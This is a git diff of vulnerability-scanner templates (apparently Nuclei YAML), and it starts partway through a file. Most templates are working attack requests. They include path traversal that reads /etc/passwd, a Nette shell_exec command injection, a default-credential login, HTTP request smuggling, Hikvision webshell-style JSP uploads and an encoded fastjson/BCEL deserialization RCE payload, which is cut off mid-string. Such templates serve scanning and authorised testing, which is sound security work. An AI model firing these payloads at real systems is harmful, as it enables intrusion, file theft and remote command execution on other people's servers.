dhiyaneshDK severity: medium - description: Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/7363 - - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/ - - http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014 - - http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263 - classification: - cve-id: CVE-2008-5587 + reference: https://www.exploit-db.com/exploits/7363 + metadata: - shodan-query: http.title:"phpPgAdmin" - tags: cve,cve2008,lfi,phppgadmin + shodan-query: 'http.title:"phpPgAdmin"' + description: "Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php." + requests: - method: GET path: - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00' + matchers-condition: and matchers: + - type: regex regex: - "root:[x*]:0:0" + - type: status status: - 200 diff --git a/poc/cve/cve-2016-6210.yaml b/poc/cve/cve-2016-6210.yaml index 668fd715ec..0cf11fcf80 100644 --- a/poc/cve/cve-2016-6210.yaml +++ b/poc/cve/cve-2016-6210.yaml @@ -1,10 +1,9 @@ id: CVE-2016-6210 - info: name: OpenSSH username enumeration < v7.3 author: iamthefrogy,forgedhallpass severity: medium - + tags: cve,cve2016,network,openssh description: OpenSSH before 7.3 is vulnerable to username enumeration and DoS vulnerabilities. reference: - http://seclists.org/fulldisclosure/2016/Jul/51 @@ -16,18 +15,15 @@ info: cvss-score: 5.9 cve-id: CVE-2016-6210 cwe-id: CWE-200 - network: - host: - "{{Hostname}}" - "{{Host}}:22" - matchers: - type: regex regex: - '(?i)SSH-2.0-OpenSSH_(?:[1-6][^\d][^\r\n]+|7\.[0-2][^\d][\n^\r]+)' - extractors: - type: regex regex: - - '(?i)SSH-2.0-OpenSSH_[^\r\n]+' \ No newline at end of file + - '(?i)SSH-2.0-OpenSSH_[^\r\n]+' diff --git a/poc/cve/cve-2018-15535.yaml b/poc/cve/cve-2018-15535.yaml index ed7aa501ed..a4fa48f002 100644 --- a/poc/cve/cve-2018-15535.yaml +++ b/poc/cve/cve-2018-15535.yaml @@ -1,31 +1,32 @@ id: CVE-2018-15535 + info: - name: Responsive FileManager <9.13.4 - Local File Inclusion + name: Responsive FileManager < 9.13.4 - Directory Traversal author: daffainfo severity: high - description: Responsive FileManager before version 9.13.4 is susceptible to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory. Instead, because it does not properly neutralize get_file sequences such as ".." can resolve to a location that is outside of that directory, aka local file inclusion. + description: filemanager/ajax_calls.php in tecrail Responsive FileManager before 9.13.4 uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize get_file sequences such as ".." that can resolve to a location that is outside of that directory, aka Directory Traversal. reference: - https://www.exploit-db.com/exploits/45271 - - https://nvd.nist.gov/vuln/detail/CVE-2018-15535 - - http://seclists.org/fulldisclosure/2018/Aug/34 - - https://www.exploit-db.com/exploits/45271/ + - https://www.cvedetails.com/cve/CVE-2018-15535 + classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-score: 7.50 cve-id: CVE-2018-15535 cwe-id: CWE-22 - tags: cve,cve2018,lfi + requests: - method: GET path: - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd" + matchers-condition: and matchers: + - type: regex regex: - - "root:.*:0:0:" + - "root:.*:0:0" + - type: status status: - 200 - -# Enhanced by mp on 2022/07/07 diff --git a/poc/cve/cve-2020-15227.yaml b/poc/cve/cve-2020-15227.yaml index 2bba2c812a..9a75579bdb 100644 --- a/poc/cve/cve-2020-15227.yaml +++ b/poc/cve/cve-2020-15227.yaml @@ -1,22 +1,34 @@ id: CVE-2020-15227 + info: - name: nette Framework RCE - author: nithissh - severity: high - reference: unknown - tags: cve,cve2020,nette,rce + name: Nette Framework RCE + author: becivells + severity: critical + description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-15227 + - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94 + - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E# + - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md + + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-15227 + cwe-id: CWE-74 + requests: - method: GET path: - - "{{BaseURL}}/index.php/nette.micro/?callback=shell_exec&cmd=id&what=-1" + - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1" + matchers-condition: and matchers: - - type: word - words: - - "uid" - - "gid" - part: body - condition: and + + - type: regex + regex: + - "root:.*:0:0:" + - type: status status: - 200 diff --git a/poc/default/default-cred-hertzbeat.yaml b/poc/default/default-cred-hertzbeat.yaml new file mode 100644 index 0000000000..c332a19d4d --- /dev/null +++ b/poc/default/default-cred-hertzbeat.yaml @@ -0,0 +1,33 @@ +id: apache-hertzbeat-default-login + +info: + name: Apache HertzBeat Default Credentials + author: securitytaters + severity: high + description: Apache HertzBeat enables default admin credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. + reference: + - https://github.com/apache/hertzbeat?tab=readme-ov-file#1install-quickly-via-docker + tags: hertzbeat,default-login + +variables: + username: admin + password: hertzbeat + +http: + - raw: + - |- + POST /api/account/auth/form HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"type":0,"identifier":"{{username}}","credential":"{{password}}"} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"token":"eyJ' + - type: status + status: + - 200 diff --git a/poc/http/cl-te-http-smuggling.yaml b/poc/http/cl-te-http-smuggling.yaml index ddb83e064d..278b84146d 100644 --- a/poc/http/cl-te-http-smuggling.yaml +++ b/poc/http/cl-te-http-smuggling.yaml @@ -1,37 +1,35 @@ -id: CL-TE-http-smuggling - -info: - name: HTTP request smuggling, basic CL.TE vulnerability - author: pdteam, akincibor - severity: Low - -http: - - raw: - - |+ - POST / HTTP/1.1 - Host: {{Hostname}} - Connection: keep-alive - Content-Type: application/x-www-form-urlencoded - Content-Length: 6 - Transfer-Encoding: chunked - - 0 - - G - - |+ - POST / HTTP/1.1 - Host: {{Hostname}} - Connection: keep-alive - Content-Type: application/x-www-form-urlencoded - Content-Length: 6 - Transfer-Encoding: chunked - - 0 - - G - - unsafe: true - matchers: - - type: dsl - dsl: - - 'contains(body, "Unrecognized method GPOST")' \ No newline at end of file +id: CL-TE-http-smuggling +info: + name: HTTP request smuggling, basic CL.TE vulnerability + author: pdteam, akincibor + severity: Low +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Connection: keep-alive + Content-Type: application/x-www-form-urlencoded + Content-Length: 6 + Transfer-Encoding: chunked + + 0 + + G + - |+ + POST / HTTP/1.1 + Host: {{Hostname}} + Connection: keep-alive + Content-Type: application/x-www-form-urlencoded + Content-Length: 6 + Transfer-Encoding: chunked + + 0 + + G + + unsafe: true + matchers: + - type: dsl + dsl: + - 'contains(body, "Unrecognized method GPOST")' diff --git a/poc/microsoft/Hikvision_iVMS-8700_Fileupload_Files.yaml b/poc/microsoft/Hikvision_iVMS-8700_Fileupload_Files.yaml index cd961f6e81..538f6fd6d5 100644 --- a/poc/microsoft/Hikvision_iVMS-8700_Fileupload_Files.yaml +++ b/poc/microsoft/Hikvision_iVMS-8700_Fileupload_Files.yaml @@ -1,27 +1,35 @@ id: HiKVISION info: - name: HiKVISION Integrated Security Management Platform Env Information Leakage Vulnerability - author: zerZero Trust Security Attack and Defense Laboratoryo - severity: medium + name: HiKVISION Comprehensive Security Management Platform Files Arbitrary File Upload Vulnerability + author: Zero Trust Security Attack and Defense Laboratory + severity: high description: | - There is an information leakage vulnerability in the HIKVISION comprehensive security management platform, which allows attackers to obtain sensitive information such as environmental env for further attacks + HiKVISION comprehensive security management platform files interface has an arbitrary file upload vulnerability, allowing attackers to upload arbitrary files through the vulnerability metadata: - fofa-query: app="HIKVISION-综合安防管理平台" + fofa-query: app="HIKVISION-综合安防管理平台" || title=="综合安防管理平台" hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685" + http: - - method: GET - path: - - "{{BaseURL}}/artemis-portal/artemis/env" + - raw: + - | + POST /center/api/files;.html HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a - matchers-condition: and - matchers: - - type: word - part: body - words: - - "profiles" + ------WebKitFormBoundary9PggsiM755PLa54a + Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/test.jsp" + Content-Type: application/zip + + <%out.print("test");%> - - type: status - status: - - 200 + ------WebKitFormBoundary9PggsiM755PLa54a-- + + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_1 == 200' + - 'contains(body_1, "test.jsp")' + condition: and diff --git a/poc/microsoft/Hikvision_iVMS-8700_Fileupload_report.yaml b/poc/microsoft/Hikvision_iVMS-8700_Fileupload_report.yaml index e86e8491d1..cd961f6e81 100644 --- a/poc/microsoft/Hikvision_iVMS-8700_Fileupload_report.yaml +++ b/poc/microsoft/Hikvision_iVMS-8700_Fileupload_report.yaml @@ -1,40 +1,27 @@ id: HiKVISION info: - name: HiKVISION Comprehensive Security Management Platform Report Arbitrary File Upload Vulnerability - author: Zero Trust Security Attack and Defense Laboratory - severity: high + name: HiKVISION Integrated Security Management Platform Env Information Leakage Vulnerability + author: zerZero Trust Security Attack and Defense Laboratoryo + severity: medium description: | - There is an arbitrary file upload vulnerability in the HiKVISION comprehensive security management platform report interface. Attackers can upload arbitrary files and obtain server privileges by constructing special request packets + There is an information leakage vulnerability in the HIKVISION comprehensive security management platform, which allows attackers to obtain sensitive information such as environmental env for further attacks metadata: - fofa-query: app="HIKVISION-综合安防管理平台" || title=="综合安防管理平台" + fofa-query: app="HIKVISION-综合安防管理平台" hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685" http: - - raw: - - | - POST /svm/api/external/report HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a + - method: GET + path: + - "{{BaseURL}}/artemis-portal/artemis/env" - ------WebKitFormBoundary9PggsiM755PLa54a - Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/test.jsp" - Content-Type: application/zip - - <%out.print("test");%> - - ------WebKitFormBoundary9PggsiM755PLa54a-- - - | - GET /portal/ui/login/..;/..;/test.jsp HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 - - req-condition: true + matchers-condition: and matchers: - - type: dsl - dsl: - - 'status_code_1 == 200' - - 'contains(body_1, "data")' - - 'status_code_2 == 200' - - 'contains(body_2, "test")' - condition: and + - type: word + part: body + words: + - "profiles" + + - type: status + status: + - 200 diff --git a/poc/microsoft/Hikvision_iVMS-8700_upload_action.yaml b/poc/microsoft/Hikvision_iVMS-8700_upload_action.yaml index 7f081b05e0..7e328a8b1b 100644 --- a/poc/microsoft/Hikvision_iVMS-8700_upload_action.yaml +++ b/poc/microsoft/Hikvision_iVMS-8700_upload_action.yaml @@ -1,48 +1,50 @@ id: HIKVISION info: - name: HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 upload Webshell file - author: Zero Trust Security Attack and Defense Laboratory + name: HHIKVISION iVMS-8700 upload Webshell file + author: zerZero Trust Security Attack and Defense Laboratory severity: high description: | - HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 There is an arbitrary file upload vulnerability where attackers can control the server by sending specific request packets to upload Webshell files + HHIKVISION iVMS-8700 Comprehensive Security Management Platfor upload Webshell file metadata: fofa-query: icon_hash="-911494769" hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685" variables: - str1: '{{rand_base(6)}}' - str2: '{{rand_base(6)}}' - str3: '<%out.print("{{str2}}");%>' + str0: '{{BaseURL}}/eps/api/resourceOperations/uploadsecretKeyIbuilding' http: - raw: - | - POST /eps/resourceOperations/upload.action HTTP/1.1 + POST /eps/api/resourceOperations/upload?token={{toupper(md5(str0))}} HTTP/1.1 Host: {{Hostname}} - User-Agent: MicroMessenger - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTJyhtTNqdMNLZLhj - - ------WebKitFormBoundaryTJyhtTNqdMNLZLhj - Content-Disposition: form-data; name="fileUploader";filename="{{str1}}.jsp" + User-Agent: Mozilla/5.0 (Android 3.2.5; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0 + Accept-Encoding: gzip, deflate + Accept: */* + Connection: close + Content-Length: 184 + Content-Type: multipart/form-data; boundary=c4155aff43901a8b2a19a4641a5efa15 + + --c4155aff43901a8b2a19a4641a5efa15 + Content-Disposition: form-data; name="fileUploader"; filename="test.jsp" Content-Type: image/jpeg - {{str3}} - ------WebKitFormBoundaryTJyhtTNqdMNLZLhj-- + {{randstr}} + --c4155aff43901a8b2a19a4641a5efa15-- - | - GET /eps/upload/{{res_id}}.jsp HTTP/1.1 + GET /eps/upload/{{name}}.jsp HTTP/1.1 Host: {{Hostname}} extractors: - type: json - name: res_id + name: name json: - ".data.resourceUuid" internal: true matchers: - - type: dsl - dsl: - - body_2 == str2 + - type: word + words: + - '{{randstr}}' diff --git a/poc/other/Ruijie_EXCU_SHELL.yaml b/poc/other/Ruijie_EXCU_SHELL.yaml index fa762ac2f6..f2db119795 100644 --- a/poc/other/Ruijie_EXCU_SHELL.yaml +++ b/poc/other/Ruijie_EXCU_SHELL.yaml @@ -1,37 +1,33 @@ id: Ruijie info: - name: Ruijie NBR Router fileupload.php Arbitrary File Upload Vulnerability + name: Ruijie Switch WEB Management System EXCU_ SHELL author: Zero Trust Security Attack and Defense Laboratory severity: high description: | - Ruijie NBR router has an arbitrary file upload vulnerability in the fileupload.php file, which allows attackers to upload arbitrary files to the server and obtain server privileges + Ruijie Switch WEB Management System EXCU_ SHELL metadata: - fofa-query: app="Ruijie-NBR路由器" - hunter-query: web.title="锐捷网络 --NBR路由器--登录界面" + fofa-query: body="img/free_login_ge.gif" && body="./img/login_bg.gif" + hunter-query: web.body="img/free_login_ge.gif"&&body="./img/login_bg.gif" http: - raw: - | - POST /ddi/server/fileupload.php?uploadDir=../../321&name=test.php HTTP/1.1 + GET /EXCU_SHELL HTTP/1.1 Host: {{Hostname}} - Accept: text/plain, */*; q=0.01 - Content-Disposition: form-data; name="file"; filename="111.php" - Content-Type: image/jpeg + User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.2852.74 Safari/537.36 + Accept-Encoding: gzip, deflate + Accept: */* + Connection: close + Cmdnum: '1' + Command1: show running-config + Confirm1: n - - - | - GET /321/test.php HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 - req-condition: true matchers: - type: dsl dsl: - 'status_code_1 == 200' - - 'status_code_2 == 200' - - 'contains(body_1, "test.php")' - - 'contains(body_2, "PHP Version")' + - 'contains(body_1, "configuration")' condition: and diff --git a/poc/other/attire.yaml b/poc/other/attire.yaml new file mode 100644 index 0000000000..0618f60e61 --- /dev/null +++ b/poc/other/attire.yaml @@ -0,0 +1,59 @@ +id: attire + +info: + name: > + Attire <= 2.0.6 - Authenticated (Contributor+) PHP Object Injection + author: topscoder + severity: low + description: > + + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f21cbe18-77e1-4a9a-96a0-74edaef0db3e?source=api-scan + classification: + cvss-metrics: + cvss-score: + cve-id: + metadata: + fofa-query: "wp-content/themes/attire/" + google-query: inurl:"/wp-content/themes/attire/" + shodan-query: 'vuln:' + tags: cve,wordpress,wp-theme,attire,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/themes/attire/style.css" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Version: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Version: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "attire" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.6') \ No newline at end of file diff --git a/poc/other/fluentform-026589d017c577988978620b6f7c244f.yaml b/poc/other/fluentform-026589d017c577988978620b6f7c244f.yaml new file mode 100644 index 0000000000..cae1262143 --- /dev/null +++ b/poc/other/fluentform-026589d017c577988978620b6f7c244f.yaml @@ -0,0 +1,59 @@ +id: fluentform-026589d017c577988978620b6f7c244f + +info: + name: > + Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder <= 5.1.18 - Missing Authorization to Authenticated (Subscriber+) Mailchimp Integration Modification + author: topscoder + severity: low + description: > + + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/8242e0f0-b9c5-46fe-b691-3275cd0f9a43?source=api-scan + classification: + cvss-metrics: + cvss-score: + cve-id: + metadata: + fofa-query: "wp-content/plugins/fluentform/" + google-query: inurl:"/wp-content/plugins/fluentform/" + shodan-query: 'vuln:' + tags: cve,wordpress,wp-plugin,fluentform,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/fluentform/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "fluentform" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.1.18') \ No newline at end of file diff --git a/poc/remote_code_execution/Hikvision_applyCT_RCE.yaml b/poc/remote_code_execution/Hikvision_applyCT_RCE.yaml index 7e328a8b1b..0ebd67934b 100644 --- a/poc/remote_code_execution/Hikvision_applyCT_RCE.yaml +++ b/poc/remote_code_execution/Hikvision_applyCT_RCE.yaml @@ -1,50 +1,27 @@ id: HIKVISION info: - name: HHIKVISION iVMS-8700 upload Webshell file - author: zerZero Trust Security Attack and Defense Laboratory + name: HIKVISION + author: Zero Trust Security Attack and Defense Laboratory severity: high description: | - HHIKVISION iVMS-8700 Comprehensive Security Management Platfor upload Webshell file + There is a command execution vulnerability in Hikvision's comprehensive security system. Hackers can execute system commands through the vulnerability metadata: - fofa-query: icon_hash="-911494769" - hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685" + fofa-query: app="HIKVISION-综合安防管理平台" + hunter-query: web.title="综合安防管理平台" -variables: - str0: '{{BaseURL}}/eps/api/resourceOperations/uploadsecretKeyIbuilding' - http: - raw: - | - POST /eps/api/resourceOperations/upload?token={{toupper(md5(str0))}} HTTP/1.1 + POST /bic/ssoService/v1/applyCT HTTP/1.1 Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Android 3.2.5; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0 - Accept-Encoding: gzip, deflate - Accept: */* - Connection: close - Content-Length: 184 - Content-Type: multipart/form-data; boundary=c4155aff43901a8b2a19a4641a5efa15 - - --c4155aff43901a8b2a19a4641a5efa15 - Content-Disposition: form-data; name="fileUploader"; filename="test.jsp" - Content-Type: image/jpeg - - {{randstr}} - --c4155aff43901a8b2a19a4641a5efa15-- - - - | - GET /eps/upload/{{name}}.jsp HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: json - name: name - json: - - ".data.resourceUuid" - internal: true + Content-Type: application/json + Testcmd: whoami + + {"CTGT": {"a": {"@type": "java.lang.Class", "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"}, "b": {"@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"}, "c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"}, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$